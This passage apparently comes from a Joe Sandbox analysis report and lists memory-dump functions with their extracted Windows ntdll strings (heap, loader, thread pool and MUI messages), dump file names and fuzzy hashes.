Instruction Fuzzy Hash: 92A1A13194032AABDF24CF58D888BADB7B1BF58314F1405E9E908AF251D7309E85CF92

Function 015949F0 Relevance: 5.2, Strings: 4, Instructions: 228COMMON

Download Yara Rule

Strings

SXS: %s() called with invalid flags 0x%08lx, xrefs: 015D3234
SXS: %s() called with invalid cookie type 0x%08Ix, xrefs: 015D3241
RtlDeactivateActivationContext, xrefs: 015D322F, 015D323C, 015D325B
SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix, xrefs: 015D3260

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: RtlDeactivateActivationContext$SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix$SXS: %s() called with invalid cookie type 0x%08Ix$SXS: %s() called with invalid flags 0x%08lx
API String ID: 0-1245972979
Opcode ID: 89448c857cf70da81232727dc8737687b7754334071e6727f557549c12e97db8
Instruction ID: 2020209069fe9d9f77827b4461bbdad8625b592db8278924d18018fe11b2f858
Opcode Fuzzy Hash: 89448c857cf70da81232727dc8737687b7754334071e6727f557549c12e97db8
Instruction Fuzzy Hash: FA61F472A507029BDB71CF1CC981B2AB7E5FF94710F148529E8559F250D774EC02CB92

Function 015663CB Relevance: 5.2, Strings: 4, Instructions: 211COMMON

Download Yara Rule

Strings

ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 015C0EB5
ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 015C0E2F
ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 015C0DEC
ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 015C0E72

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: 03b66b11d65506e0d2e1798a550cbf9a5b23b5864097ac0bd67960ede125f0f8
Instruction ID: e0c5555d584e84f7a489c89dc2f72fe43450b01a9aa638cc3d6c7c2028175f01
Opcode Fuzzy Hash: 03b66b11d65506e0d2e1798a550cbf9a5b23b5864097ac0bd67960ede125f0f8
Instruction Fuzzy Hash: 2971CCB19043069FCB61DF54C8C5B9B7BADBB94B60F400869F9488F286D734E588CBD2

Function 01610D24 Relevance: 5.1, Strings: 4, Instructions: 113COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 01610DCA, 01610DDD, 01610DDF, 01610E44
This is located in the %s field of the heap header., xrefs: 01610E56
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 01610DE1
HEAP[%wZ]: , xrefs: 01610DBD, 01610E37

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 0-336120773
Opcode ID: 9eb6a87d43bea3ebb6178440923c627d2c5313309fc0612c09edc692164a2fe6
Instruction ID: b910d741302b83649bf5522fa7e85462424c0f9dca82ad5e4cbc0cd16a28cdce
Opcode Fuzzy Hash: 9eb6a87d43bea3ebb6178440923c627d2c5313309fc0612c09edc692164a2fe6
Instruction Fuzzy Hash: 54312232210506EFDB11DB69CC89FAA77B8FF44A60F18055AF901CF294EB71A980CB60

Function 0158237A Relevance: 5.1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 015CA79F
LdrpDynamicShimModule, xrefs: 015CA7A5
minkernel\ntdll\ldrinit.c, xrefs: 015CA7AF
apphelp.dll, xrefs: 01582382

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-176724104
Opcode ID: 2447bf346144fcc9ab8450ccd7c95e2270aa3321fcb2ecf0a419ff7137e9d1ca
Instruction ID: 45916f668f3748cb8b2199af61015efa01aa11269aed3fb72a06ebf2cfe9c16e
Opcode Fuzzy Hash: 2447bf346144fcc9ab8450ccd7c95e2270aa3321fcb2ecf0a419ff7137e9d1ca
Instruction Fuzzy Hash: 60310272A00205EFEB25DF99DC95A6E7FB5FB80F04F15401DE902AF245EA705852CB90

Function 015728C0 Relevance: 4.7, Strings: 3, Instructions: 966COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 01573184
Unable to release memory at %p for %Ix bytes - Status == %x, xrefs: 0157319D
HEAP[%wZ]: , xrefs: 01573175

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Unable to release memory at %p for %Ix bytes - Status == %x
API String ID: 0-617086771
Opcode ID: 976d2cefafd6807715ae7683955df220db6aaf6b40340955449ea526f2405a09
Instruction ID: 8a3f9ccb773a9e4d329b581d7eff8a5e1e63b61666b280f7b8b5a534af1bbe89
Opcode Fuzzy Hash: 976d2cefafd6807715ae7683955df220db6aaf6b40340955449ea526f2405a09
Instruction Fuzzy Hash: 0692DC71A042499FDB25CFA8E445BAEBBF1FF48310F188499E85AAF391D334A941DF50

Function 01570680 Relevance: 4.2, Strings: 3, Instructions: 414COMMON

Download Yara Rule

Strings

(UCRBlock->Size >= *Size), xrefs: 015C4ED7
HEAP: , xrefs: 015C4ECA
HEAP[%wZ]: , xrefs: 015C4EBB

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: 261863a9db6ce398ced64dd4ca4007f6523c9a284cf736cea879ed7744bc2d3c
Instruction ID: 9653d477ff091442da40b691df70aff20bb22e6aacf46c8dadf8d773eceb6f18
Opcode Fuzzy Hash: 261863a9db6ce398ced64dd4ca4007f6523c9a284cf736cea879ed7744bc2d3c
Instruction Fuzzy Hash: 1CF18770A00606DFEB25CFA8D895F6ABBF5FB85700F1485A9E5169F381D730E981CB90

Function 01586882 Relevance: 4.0, Strings: 2, Instructions: 1492COMMON

Download Yara Rule

Strings

, xrefs: 015CC85B
@, xrefs: 01586B44

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: $@
API String ID: 0-1077428164
Opcode ID: d6e5ee055278b052a29b1ae36717fef097a9700b209819832f192e6a34cc62d0
Instruction ID: 647f970ca7ca0697d575b548372dcf95595723b102bc128e790aad7fe1e72621
Opcode Fuzzy Hash: d6e5ee055278b052a29b1ae36717fef097a9700b209819832f192e6a34cc62d0
Instruction Fuzzy Hash: D8C29C716083418FE725DF28C881BAFBBE5BF88704F14892DE989DB251D734D845CBA2

Function 0155A147 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

UseFilter, xrefs: 0155A171
FilterFullPath, xrefs: 015BC075
\??\, xrefs: 015BBF73

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: 0de965f18f1a8d838adf30adba120baaba3d2e9f18f97696dab861a05aaa8ed9
Instruction ID: bd15ba4cc4c497daedda6eb0b9b227d36057d48df4df53ccd3bd03db0f40c00f
Opcode Fuzzy Hash: 0de965f18f1a8d838adf30adba120baaba3d2e9f18f97696dab861a05aaa8ed9
Instruction Fuzzy Hash: 6CA16A7190162A9BDB319F28CC98BEEB7B8FF44710F1005EAE909AB250D7759E84CF54

Function 01580AEB Relevance: 4.0, Strings: 3, Instructions: 210COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 015C9F2E
LdrpCheckModule, xrefs: 015C9F24
Failed to allocated memory for shimmed module list, xrefs: 015C9F1C

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
API String ID: 0-161242083
Opcode ID: 8dbb4cf34322a185e31f64df74349b731278886bc18e2d61c03c5bd05de2dfee
Instruction ID: fb0e473263da55500b75589976a7f7b640480b9df17b35f51b2f2bb809ce926c
Opcode Fuzzy Hash: 8dbb4cf34322a185e31f64df74349b731278886bc18e2d61c03c5bd05de2dfee
Instruction Fuzzy Hash: B171CF71A00206DFDB25EFA8CC85ABEB7F4FB84708F14446DE806AF255E774A946CB50

Function 0157096B Relevance: 3.9, Strings: 3, Instructions: 190COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 015C514F
((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 015C515A
HEAP[%wZ]: , xrefs: 015C5142

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: 942b43e9edd9a540224d8b2f798a51b47a84e5e17bb38b73d543ab290df554d9
Instruction ID: 41a90cc7fae51e04c5e7426a5edfdc9e65f4dfaa8b1f35e5bf221028596e617a
Opcode Fuzzy Hash: 942b43e9edd9a540224d8b2f798a51b47a84e5e17bb38b73d543ab290df554d9
Instruction Fuzzy Hash: EF61B0716103029FDB29DF68D885B6ABBF1FF85704F14855EE8868F292E770E841CB91

Function 0159C640 Relevance: 3.9, Strings: 3, Instructions: 141COMMON

Download Yara Rule

Strings

LdrpInitializePerUserWindowsDirectory, xrefs: 015D80E9
minkernel\ntdll\ldrinit.c, xrefs: 015D80F3
Failed to reallocate the system dirs string !, xrefs: 015D80E2

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 0-1783798831
Opcode ID: 6d19f977e0c679e6ab8cbeba797b222d1a1d4d8949a9d69046606bd230ff163d
Instruction ID: 0ff918e22993b14cae125099087952c1f64d3db44ac6bf59cd87c2c3d50975d1
Opcode Fuzzy Hash: 6d19f977e0c679e6ab8cbeba797b222d1a1d4d8949a9d69046606bd230ff163d
Instruction Fuzzy Hash: BF41D271510312ABCB31EB6CEC45B5B7BE8FF94750F00692AB9489F251E774E810CB92

Function 015E43D5 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

LdrpCheckRedirection, xrefs: 015E450F
minkernel\ntdll\ldrredirect.c, xrefs: 015E4519
Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 015E4508

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 0-3154609507
Opcode ID: 1f89f7c20f76b4a92ad323e0b8f59dd11d1d9d00f0e6cc095ad31bf3bceb5561
Instruction ID: e77b7e2c5add6642efb246283e3914363032514e35ec61fa830dbfaeb15f70cc
Opcode Fuzzy Hash: 1f89f7c20f76b4a92ad323e0b8f59dd11d1d9d00f0e6cc095ad31bf3bceb5561
Instruction Fuzzy Hash: EC41A132F043119BDB2ACF5DD848A2A7BE4BF88650F09065DED99DF256D731D800CB91

Function 01570ACE Relevance: 3.8, Strings: 3, Instructions: 70COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 015C524B
HEAP[%wZ]: , xrefs: 015C523E
(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 015C5256

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-2558761708
Opcode ID: 86b439d9a5086fb5ef3c3c40d73f8127f8675e8b647a06421521412fe1b73816
Instruction ID: 82edadb1bf78dae838f8ec23801c4eb91650619a35c3a66067c01151cb02e339
Opcode Fuzzy Hash: 86b439d9a5086fb5ef3c3c40d73f8127f8675e8b647a06421521412fe1b73816
Instruction Fuzzy Hash: A311D6313212029FD759DEA8D895B3AB3E6FF81A10F14455EF406CF281EB70E840C740

Function 0156A8F0 Relevance: 2.9, Strings: 2, Instructions: 421COMMON

Download Yara Rule

Strings

LdrResSearchResource Enter, xrefs: 0156A933
LdrResSearchResource Exit, xrefs: 0156A945

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: LdrResSearchResource Enter$LdrResSearchResource Exit
API String ID: 0-4066393604
Opcode ID: 4ed0c492c244c6bc1f5fd9da03332b04a8cd046105356c0c8fca2a5b239350a6
Instruction ID: 8a34773a4bd7d3273259146af3e3dc38f01c988ee25b40ffd736faedd1d7c9b8
Opcode Fuzzy Hash: 4ed0c492c244c6bc1f5fd9da03332b04a8cd046105356c0c8fca2a5b239350a6
Instruction Fuzzy Hash: 7FE17C71A0024A9FEF22CED9C980BAEBBB9BF54714F14442AE911FF251D774D941CB90

Function 01602AE0 Relevance: 2.8, Strings: 2, Instructions: 327COMMON

Download Yara Rule

Strings

*** ASSERT FAILED: Input parameter pwmszLanguage for function RtlGetUILanguageInfo is not a valid multi-string!, xrefs: 01602B91
, xrefs: 01602E38

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: $*** ASSERT FAILED: Input parameter pwmszLanguage for function RtlGetUILanguageInfo is not a valid multi-string!
API String ID: 0-4088147954
Opcode ID: 403824aecd170bf005f2cad47962d3cce1a407f2df2cffe7bb8a87a4c1f6abc0
Instruction ID: cda01c46d2481fe011db1061365181c17ebf899c4ed46f3f7c1739ca0d215ed9
Opcode Fuzzy Hash: 403824aecd170bf005f2cad47962d3cce1a407f2df2cffe7bb8a87a4c1f6abc0
Instruction Fuzzy Hash: 8DC18C716083429BD72ACF58C8A8B2BBBE5BF98714F04491DFA859B3C0E770D945C792

Function 015DE372 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

Legacy, xrefs: 015DE3DA
UEFI, xrefs: 015DE3D1

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: 11c70ec8865fd9d40eb8728d9b251fec1f1a8f9655d5586aff24f4b68ac7fc76
Instruction ID: 99ad07c8e85ff5a826ca7f8e0cf55a7c20ed4f20ff0a145c5fbb8fb8ff7d9e0f
Opcode Fuzzy Hash: 11c70ec8865fd9d40eb8728d9b251fec1f1a8f9655d5586aff24f4b68ac7fc76
Instruction Fuzzy Hash: E4616B71A406099FDB25DFACC881AADBBF8FB48744F54442EE649EF251E730E941CB60

Function 0156AB70 Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

LdrpResGetMappingSize Enter, xrefs: 0156AB8A
LdrpResGetMappingSize Exit, xrefs: 0156AB9C

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: LdrpResGetMappingSize Enter$LdrpResGetMappingSize Exit
API String ID: 0-1497657909
Opcode ID: ce8f303fbdf4fa386de730e65e7f97ca4a6effaa098f9dbb44083b43e094c8ac
Instruction ID: ec41d0706a36bc0b42741bdbdbe4fed70928117d3998e9efcce4c3f746e1d22a
Opcode Fuzzy Hash: ce8f303fbdf4fa386de730e65e7f97ca4a6effaa098f9dbb44083b43e094c8ac
Instruction Fuzzy Hash: 6B61B071A046499FEB16CFA8C840BAEBBF9FF94710F144469E901BF295E774D940CBA0

Function 01594B79 Relevance: 2.7, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

Flst, xrefs: 01594BB6
0, xrefs: 01594BE3

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: 87c2f98ee5b8c91b73e31c211c1395ce9c1bb00c0e52ccb4c21ff3ec5b2240ae
Instruction ID: d4e53ceb1fd98cb491107239c9ffb5b7da1f7020c4b279719b2891cae3595ae2
Opcode Fuzzy Hash: 87c2f98ee5b8c91b73e31c211c1395ce9c1bb00c0e52ccb4c21ff3ec5b2240ae
Instruction Fuzzy Hash: 3E5158B1A00289CFDF26CF98CA8466DFBF5FB44715F14846AD0459F245EBB09D82CB82

Function 01560485 Relevance: 2.6, Strings: 2, Instructions: 135COMMON

Download Yara Rule

Strings

kLsE, xrefs: 015605FE
TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 01560586

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 0-2547482624
Opcode ID: ea97cb4dee8f2837c6776da22f2995b55d9897e3c8c843a7cdff59a1615fc825
Instruction ID: 81e22fb47e1a7c7662258342240154e9d0f7e8cf0f8bbb6680fb8200ab47f322
Opcode Fuzzy Hash: ea97cb4dee8f2837c6776da22f2995b55d9897e3c8c843a7cdff59a1615fc825
Instruction Fuzzy Hash: 6451AE71A00746DFDB24DFA8C4846EAB7F8FF54300F14883EE6968B281E7749545CBA1

Function 0156A1E3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

RtlpResUltimateFallbackInfo Enter, xrefs: 0156A21B
RtlpResUltimateFallbackInfo Exit, xrefs: 0156A229

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-2876891731
Opcode ID: 80488a7f4854a939f08ec6bc63fd071469da556e0679b624839f63682754bb03
Instruction ID: 64158b9b7c407c585887e1edd07e061e68057c004a072bcbf9636fe8ee580769
Opcode Fuzzy Hash: 80488a7f4854a939f08ec6bc63fd071469da556e0679b624839f63682754bb03
Instruction Fuzzy Hash: 1A41BB30A406158FEB15CF99C440BADBBF8FF86B40F1444A9E905EF2A1E736D940CB90

Function 0159A4F0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON

Download Yara Rule

Strings

Cleanup Group, xrefs: 0159A504
Threadpool!, xrefs: 0159A509

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID: InitializeThunk
String ID: Cleanup Group$Threadpool!
API String ID: 2994545307-4008356553
Opcode ID: 2098ad912077757906b4be0b0521ea5d0c771887da658281209de8501f184d55
Instruction ID: 2728ff3b16785a64cdaad960e919b0f6282bad71daf26172a1a21952484cdad5
Opcode Fuzzy Hash: 2098ad912077757906b4be0b0521ea5d0c771887da658281209de8501f184d55
Instruction Fuzzy Hash: 0901FFB2250700AFDB21DF24CD46B267BE8FB80B16F008939F658CB590E774E910CB66

Function 0156C6E0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON

Download Yara Rule

Strings

MUI, xrefs: 0156C7E3, 0156C960

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: 998d075378b5a20d6ef06bdb9d6e9a8d5b3abe2247ca68ee4e2bd50fdeaa4b76
Instruction ID: f990f8dec32e1578f4d72591c2d3f53e246f0267d87e6d7828b1bd934ef773b6
Opcode Fuzzy Hash: 998d075378b5a20d6ef06bdb9d6e9a8d5b3abe2247ca68ee4e2bd50fdeaa4b76
Instruction Fuzzy Hash: 0A826D75E002198FEB25CFA9C880BADBBB9FF48310F14856AD999AF351D7709D41CB90

Function 015FC7B0 Relevance: 1.6, Strings: 1, Instructions: 353COMMON

Download Yara Rule

Strings

w, xrefs: 015FCBC8

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: w
API String ID: 0-476252946
Opcode ID: 1ec4d0f579a2be7f1cf4550b8165e2f2ca6e8e0dba6d633813a3dafcbc91d95c
Instruction ID: 6ff58cf6ce3bdb969476fcca06446ca45c8f1dc7747748e04a9a0cfdeb11d9b7
Opcode Fuzzy Hash: 1ec4d0f579a2be7f1cf4550b8165e2f2ca6e8e0dba6d633813a3dafcbc91d95c
Instruction Fuzzy Hash: 2FD1CD7490020EABDB24CF58C481ABEBBF1FF44704F14C46EEA999B241E735E992D790

Function 016047B4 Relevance: 1.5, Strings: 1, Instructions: 271COMMON

Download Yara Rule

Strings

@, xrefs: 01604874

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: f17404ab1f35dd1fedc509417887bc5ab96c5c688d223678ddbb8f94fe13081d
Instruction ID: 11f47d240bb1f68503eda51ba6ebad2b04837fa8bfe6161878de68ce5238ba37
Opcode Fuzzy Hash: f17404ab1f35dd1fedc509417887bc5ab96c5c688d223678ddbb8f94fe13081d
Instruction Fuzzy Hash: 91A19371E0020A9FDB2ADF98CC81AAFBBB8FF54340F144429EB11A7395EB759941CB54

Function 015E60A0 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

, xrefs: 015E6241

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 3e77a3990eec5ad9f844d5fff9741556e68073d14162828863d3700ce0879cb6
Instruction ID: d3e06370beee5d121f7c9dbf03e10e98f1fe56a1a51a2e1bde5799738b6143c3
Opcode Fuzzy Hash: 3e77a3990eec5ad9f844d5fff9741556e68073d14162828863d3700ce0879cb6
Instruction Fuzzy Hash: EE91517194021AABEB25DB99CD85FAEBBB8FF58750F100065F600BF291D775E900CBA0

Function 0159A580 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

GlobalTags, xrefs: 015D65D4

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: GlobalTags
API String ID: 0-1106856819
Opcode ID: 86cd5e0d1e7bf4957b953e1e4059e19211d72199114ea02a8722d77d91512672
Instruction ID: e5217fef8bcc7a2b4e2b634e48473df2e72af6991561089e903a197d5f82d917
Opcode Fuzzy Hash: 86cd5e0d1e7bf4957b953e1e4059e19211d72199114ea02a8722d77d91512672
Instruction Fuzzy Hash: 46719075E0020A9FDF28CF9CD5806EDBBF2BF98310F54852EE505AB245E7719942CB50

Function 015702F9 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#%u, xrefs: 015C4B8F

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: #%u
API String ID: 0-232158463
Opcode ID: 691b4d60929ab5a260dc24e8ce9bcc6f8f5da506a29270232171f1f0ae81f6c7
Instruction ID: f15dbceb6a24918f37a2903bbe0bc257c9090acc03d57dbe69586f7ad37e15fa
Opcode Fuzzy Hash: 691b4d60929ab5a260dc24e8ce9bcc6f8f5da506a29270232171f1f0ae81f6c7
Instruction Fuzzy Hash: C4717C71A0010A9FDB11DFA9D995FAEBBF8FF48704F14006AE901EB251EB34E901CB60

Function 016044F8 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

.mui, xrefs: 016045FF

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: .mui
API String ID: 0-1199573805
Opcode ID: 42807f86359484d7b3971746294005b7b5e4b2319310032914f66e2609724491
Instruction ID: efacc3c7e6ce09a596b26c4d5b37e37886538c087877cbbf06669419aa722c98
Opcode Fuzzy Hash: 42807f86359484d7b3971746294005b7b5e4b2319310032914f66e2609724491
Instruction Fuzzy Hash: 1E518671D10226DBDF26DF99DC40AAFBBB4BF58A00F054169EB01AB290EB759D018B90

Function 0157E547 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

EXT-, xrefs: 0157E5C4

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: EXT-
API String ID: 0-1948896318
Opcode ID: 4eeb9eec42f3f9a08b7e8d0c476a290df17aa474e365cb832f36fa53790f17dc
Instruction ID: 3c2307398ed401900419ecf786a29d18c5283c332d92d4bbb1486c100a97f5d3
Opcode Fuzzy Hash: 4eeb9eec42f3f9a08b7e8d0c476a290df17aa474e365cb832f36fa53790f17dc
Instruction Fuzzy Hash: FE4190725183129BD720DE65E846B6FB7E8FFC8B14F040A6DF584EF180E674D90487A6

Function 0155CD8A Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

